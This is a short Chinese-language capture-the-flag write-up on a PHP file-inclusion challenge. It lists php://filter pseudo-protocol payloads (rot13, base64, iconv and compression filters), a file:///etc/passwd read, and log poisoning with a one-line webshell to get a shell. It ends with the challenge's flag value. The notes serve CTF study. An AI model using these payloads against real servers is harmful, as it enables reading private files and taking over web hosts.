代码审计,存在文件包含,直接上伪协议
发现不行,应该是存在字符过滤
知识盲区:
1.file://协议,需要填写绝对路径,只能读取txt文件,后面直接跟绝对路径。
file:///etc/passwd
2.php://filter
(1)String Filters(字符串过滤器)
php://filter/string.rot13/resource=flag.php //读出以后利用ROT13解码即可 php://filter/string.toupper/resource=flag.php //转大写 php://filter/string.tolower/resource=flag.php //转小写 php://filter/string.strip_tags/resource=flag.php //php标签里所有东西都会被去除,html只有标签会被去除,里面的文字不会删除
(2)Conversion Filters(转换过滤器)
php://filter/convert.base64-encode/resource=flag.php //base64加密读出 php://filter/convert.quoted-printable-encode/resource=flag.php
convert.iconv.*:
用法:
convert.iconv.<input-encoding>.<output-encoding> or convert.iconv.<input-encoding>/<output-encoding>
<input-encoding>和<output-encoding> 就是编码方式,有如下几种:
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF-16BE* UTF-16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
payload:
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/var/www/html/flag.php
(3)Compression Filters(压缩过滤器)
payload:
php://filter/zlib.deflate|zlib.inflate/resource=flag.php //zlib.deflate(压缩)|zlib.inflate(解压) or php://filter/bzip2.compress|bzip2.decompress/resource=flag.php //bzip2.compress(压缩)|bzip2.decompress(解压)
3.包含日志文件,抓包写入一句话木马,进行getshell 日志文件路径:
(1)/var/log/nginx/access.log (2)/var/log/apache2/access_log
4、iconv函数
完成各种字符集间的转换
$string = "XXXX";
iconv("utf8","gbk",$string) //将字符串string 编码由utf8转变成gbk;
直接访问check.php这个文件里面的内容
如果使用括号里面的编码参数会直接提示do not hack!
查看flag.php
注意伪协议里面的编码使用:/?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
$flag=cyberpeace{97c7789160615b28e7bb02fc233c4080}